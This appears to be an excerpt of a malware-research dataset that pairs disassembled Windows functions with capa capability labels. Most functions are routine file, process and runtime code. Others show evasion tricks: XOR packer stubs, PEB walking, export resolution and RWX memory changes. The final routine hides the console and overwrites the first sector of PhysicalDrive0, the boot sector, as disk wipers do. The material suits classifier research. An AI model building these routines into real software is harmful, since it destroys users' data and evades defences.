joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b43
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20c4
call fcn.00404360
mov eax, dword [0x406130]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0xd
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20b8], eax
jb 0x401d41
push 0x8c
lea eax, [ebp - 0x2098]
push 0
push eax
call fcn.00402c06
add esp, 0xc
lea edx, [ebp - 0x2098]
call fcn.00402e8f
test eax, eax
jne 0x401d41
mov eax, dword [ebp - 0x2094]
mov ecx, dword [ebp - 0x2098]
sub dword [ebp + 8], 5
sub dword [ebp + 8], 8
add ecx, eax
mov eax, 0x300
shl eax, cl
lea ebx, [edi + 5]
xor ecx, ecx
push 2
mov esi, ebx
add eax, 0x736
pop edx
add ebx, 8
mul edx
seto cl
lea edi, [ebp - 0x20a8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
neg ecx
or ecx, eax
push ecx
call fcn.00402bd8
mov esi, eax
xor edi, edi
pop ecx
mov dword [ebp - 0x20a0], esi
cmp esi, edi
jne 0x401bfb
push edi
call fcn.00402bbd
jmp 0x401d40
push dword [ebp - 0x208c]
call fcn.00402bd8
pop ecx
mov dword [ebp - 0x209c], eax
cmp eax, edi
jne 0x401c1d
push edi
call fcn.00402bbd
push esi
jmp 0x401d3a
mov dword [ebp - 0x2084], eax
mov dword [ebp - 0x2088], esi
mov dword [ebp - 0x2014], 0xfffffffe
mov dword [ebp - 0x2040], edi
mov ecx, dword [ebp - 0x20a8]
cmp ecx, edi
jne 0x401c54
cmp dword [ebp - 0x20a4], edi
jne 0x401c54
cmp dword [ebp + 8], edi
je 0x401d07
mov eax, 0x2000
mov dword [ebp - 0x20bc], eax
cmp ecx, eax
mov dword [ebp - 0x20b0], edi
mov dword [ebp - 0x20ac], edi
mov dword [ebp - 0x20b4], ecx
lea eax, [ebp - 0x20bc]
ja 0x401c81
lea eax, [ebp - 0x20b4]
xor ecx, ecx
cmp dword [ebp + 8], edi
lea edx, [ebp - 0x2098]
sete cl
push ecx
lea ecx, [ebp - 0x20ac]
push ecx
push dword [eax]
lea eax, [ebp - 0x2008]
push eax
lea eax, [ebp - 0x20b0]
push eax
push dword [ebp + 8]
push ebx
call fcn.00402f0b
add esp, 0x1c
test eax, eax
jne 0x401d1e
mov eax, dword [ebp - 0x20b0]
sub dword [ebp + 8], eax
mov esi, dword [ebp - 0x20ac]
add ebx, eax
sub dword [ebp - 0x20a8], esi
push edi
lea eax, [ebp - 0x20c0]
sbb dword [ebp - 0x20a4], edi
push eax
push esi
lea eax, [ebp - 0x2008]
push eax
push dword [ebp - 0x20b8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401d29
cmp dword [ebp - 0x20c0], esi
jne 0x401d29
mov esi, dword [ebp - 0x20a0]
jmp 0x401c39
push dword [ebp - 0x209c]
call fcn.00402bbd
push esi
call fcn.00402bbd
pop ecx
pop ecx
xor eax, eax
jmp 0x401d44
push dword [ebp - 0x209c]
jmp 0x401c12
push dword [ebp - 0x209c]
call fcn.00402bbd
push dword [ebp - 0x20a0]
call fcn.00402bbd
pop ecx
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004011c0
leave
ret
Function at 0x402661
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, eax
call fcn.004026fa
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x4026f2
push edi
push edi
push edi
push 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [esi + 8], eax
cmp eax, edi
je 0x4026ed
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [esi + 0xc], edx
cmp edx, edi
je 0x4026e4
push 6
pop ecx
mov dword [ebp - 0x1c], edi
xor eax, eax
lea edi, [ebp - 0x18]
rep stosd dword es:[edi], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4026e4
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x10], eax
mov al, 1
jmp 0x4026f4
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004026fa
xor al, al
pop edi
pop esi
leave
ret 4

Function at 0x402752
Capabilities:
Parse pe header

Disassembly:
test ecx, ecx
jne 0x402759
xor al, al
ret
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x402756
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x402756
mov eax, dword [eax + 0x98]
test eax, eax
je 0x40277f
lea edx, [eax + ecx]
jmp 0x402781
xor edx, edx
test edx, edx
je 0x402756
lea eax, [edx + 8]
test eax, eax
je 0x402756
cmp byte [eax], 0x30
lea ecx, [eax + 1]
jne 0x4027b0
mov al, byte [ecx]
inc ecx
cmp al, 0x82
jne 0x4027b0
movzx eax, byte [ecx]
movzx ecx, byte [ecx + 1]
shl eax, 8
lea eax, [eax + ecx + 0x13]
and eax, 0xffffff8
jmp 0x4027b2
xor eax, eax
test eax, eax
je 0x402756
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], edx
mov al, 1
ret
Function at 0x40286c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
mov esi, dword [eax]
push edi
sub esi, 0x10
call fcn.00402382
mov esi, eax
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x58]
push ebx
add esi, 0x10
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x5c], ebx
call fcn.00402c06
xor eax, eax
mov dword [ebp - 0x18], ebx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or dword [ebp - 0x30], 0x81
xor eax, eax
inc eax
mov word [ebp - 0x2c], ax
cmp dword [esi - 4], eax
jle 0x4028d2
push dword [esi - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00402430
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 0x400
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40290a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea eax, [esi - 0x10]
call fcn.004011a8
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [ebp - 1], 1
cmp dword [ebp + 8], ebx
je 0x402930
push dword [ebp + 8]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
setne byte [ebp - 1]
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
mov bl, byte [ebp - 1]
jmp 0x4028fb

Function at 0x402945
Capabilities:
Delete file

Disassembly:
push esi
xor esi, esi
cmp dword [edi + 0x10], esi
je 0x402968
test esi, esi
jl 0x40297c
cmp esi, dword [edi + 0x10]
jge 0x40297c
mov eax, dword [edi + 0xc]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc esi
cmp esi, dword [edi + 0x10]
jne 0x40294d
lea esi, [edi + 0xc]
call fcn.00402086
mov eax, dword [edi + 4]
sub eax, 0x10
pop esi
jmp fcn.004011a8
push 0
push 0
push 1
push 0xc000008c
call dword [sym.imp.KERNEL32.dll_RaiseException]
Function at 0x40298e
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40224
call fcn.00404360
mov eax, dword [0x406130]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0
mov dword [ebp - 0x4021c], eax
lea eax, [ebp - 0x40220]
push eax
mov esi, 0x200
push esi
lea eax, [ebp - 0x4020c]
push eax
push dword [ebx]
mov byte [ebp - 0x4020d], 1
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402aa7
cmp dword [ebp - 0x40220], esi
jne 0x402aa7
push 4
mov esi, 0x4051a4
lea eax, [ebp - 0x4010b]
pop edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402a02
inc eax
inc esi
dec edi
jne 0x4029f7
movzx eax, byte [eax]
movzx ecx, byte [esi]
sub eax, ecx
jne 0x402a1c
mov eax, dword [ebp - 0x4021c]
mov byte [eax], 1
mov al, 1
jmp 0x402aa9
push 4
mov esi, str.ustar
lea eax, [ebp - 0x4010b]
pop edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402a35
inc eax
inc esi
dec edi
jne 0x402a2a
movzx eax, byte [eax]
movzx ecx, byte [esi]
sub eax, ecx
jne 0x402aa7
mov esi, dword [ebx + 4]
sub esi, 0x10
call fcn.00402382
add eax, 0x10
mov dword [ebp - 0x40214], eax
lea eax, [ebp - 0x40214]
push eax
mov ecx, 0x4051b4
call fcn.00401fa3
lea eax, [ebp - 0x40214]
push eax
lea ecx, [ebp - 0x4020c]
call fcn.00401fa3
mov esi, dword [ebp - 0x40214]
xor eax, eax
push eax
push 0x100
push 2
push eax
push eax
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x4021c], eax
cmp eax, 0xffffffff
jne 0x402ab9
lea eax, [esi - 0x10]
call fcn.004011a8
xor al, al
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.004011c0
leave
ret 4
lea edx, [ebp - 0x40190]
call fcn.00402ca1
push 1
push 0
push 0
push dword [ebx]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, edi
neg esi
and esi, 0x1ff
add eax, edi
add esi, eax
test edi, edi
jbe 0x402b54
mov eax, 0x40000
mov dword [ebp - 0x40218], eax
cmp edi, eax
jae 0x402afb
mov dword [ebp - 0x40218], edi
push 0
lea eax, [ebp - 0x40220]
push eax
push dword [ebp - 0x40218]
lea eax, [ebp - 0x4000c]
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402b4d
push 0
lea eax, [ebp - 0x40220]
push eax
push dword [ebp - 0x40218]
lea eax, [ebp - 0x4000c]
push eax
push dword [ebp - 0x4021c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402b4d
sub edi, dword [ebp - 0x40218]
jne 0x402ae6
jmp 0x402b54
mov byte [ebp - 0x4020d], 0
push dword [ebp - 0x4021c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x4020d], 0
je 0x402b92
cmp byte [ebx + 8], 0
je 0x402b7e
lea eax, [ebp - 0x40214]
push eax
lea edi, [ebx + 0xc]
call fcn.00402004
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x402b92
push dword [ebp - 0x40214]
push dword [ebx + 0x1c]
call eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x402ba4
push 0
push 0
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x40214]
add eax, 0xfffffff0
call fcn.004011a8
mov al, byte [ebp - 0x4020d]
jmp 0x402aa9
Function at 0x7ada6c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7ada76
pushal
call 0x7ada7c
pop ebp
sub ebp, 0x10
sub ebp, 0x3ada6c
jmp 0x7ada92
mov eax, 0x3ada6c
add eax, ebp
add eax, 0x4c
mov ecx, 0x607
mov edx, 0x68db0f24
xor byte [eax], dl
inc eax
dec ecx
jne 0x7adaa9
jmp 0x7adabc
scasd eax, dword es:[edi]
jmp 0x24938871

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219

Function at 0x104cc058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.104cc1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x104cc07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104cc06a
add dl, dl
jne 0x104cc089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104cc0dc
xor eax, eax
add dl, dl
jne 0x104cc096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104cc17d
add dl, dl
jne 0x104cc0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104cc0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104cc0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104cc0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104cc0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x104cc075
mov eax, 1
add dl, dl
jne 0x104cc0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104cc0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104cc0e1
sub eax, ebx
mov ebx, 1
jne 0x104cc128
mov ecx, 1
add dl, dl
jne 0x104cc10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104cc119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104cc105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104cc075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x104cc13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104cc14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104cc136
cmp eax, 0x7d00
jae 0x104cc16d
cmp eax, 0x500
jb 0x104cc168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104cc075
cmp eax, 0x7f
ja 0x104cc170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104cc075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x104cc19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x104cc075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401ad0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401b1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401b14
test esi, esi
je 0x401b14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401af0
mov dword [esp], 0x407048
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401d50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e28
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401d8e
cmp eax, 4
jne 0x401db0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401d9e
cmp edx, 4
je 0x401d9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d00
Function at 0x10002c08
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e0cc]
jne 0x10002c12
repz ret
jmp fcn.10004fac

Function at 0x10008a76
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
je 0x10008ada
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push dword [eax + 0x30]
call fcn.10008a2f
pop ecx
shl eax, 1
cmp eax, 0x8a0
jne 0x10008ad0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
jmp 0x10008adc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x10008aa5
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10008b5b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*8 + 0x78]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x18], ecx
and dword [ebp - 4], 0
jmp 0x10008bae
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 0x18]
jae 0x10008bf3
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x14], edx
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.10008b0c
pop ecx
pop ecx
cmp eax, dword [ebp + 0xc]
jne 0x10008bf1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x10008bf5
jmp 0x10008ba7
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x69b51b81
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x115972b3
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4010e6
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
xor ebx, ebx
mov word [esp + 0x18], 0x500
lea eax, [esp + 4]
mov dword [esp + 0x10], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [esp + 0x3c]
mov dword [esp + 0x2c], ebx
push eax
mov dword [esp + 0x40], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40114d
lea eax, [esp + 0x10]
push eax
push dword [esp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [esp + 0x10], ebx
jne 0x40117f
call fcn.0040152a
call fcn.004015ee
mov ecx, dword [esp + 0x1c]
xor eax, eax
pop ebx
xor ecx, esp
call fcn.00401a34
mov esp, ebp
pop ebp
ret 0x10
push ecx
lea ecx, [esp + 0xc]
call fcn.004016e6
cmp dword [esp + 0xc], ebx
jne 0x401197
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
call dword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [esp + 0xc], eax
jne 0x4011a7
push 5
jmp 0x401191
push ebx
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.MSVCP140.dll__Thrd_join]
add esp, 0xc
test eax, eax
je 0x4011c1
push 2
jmp 0x401191
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
call fcn.00401479
call fcn.004014c8
cmp dword [esp + 0xc], ebx
je 0x40116b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3

Function at 0x401479
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 3
push 0x40000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014c4
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [esp + 0xc]
push eax
push 0x200
push 0x403570
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ecx
ret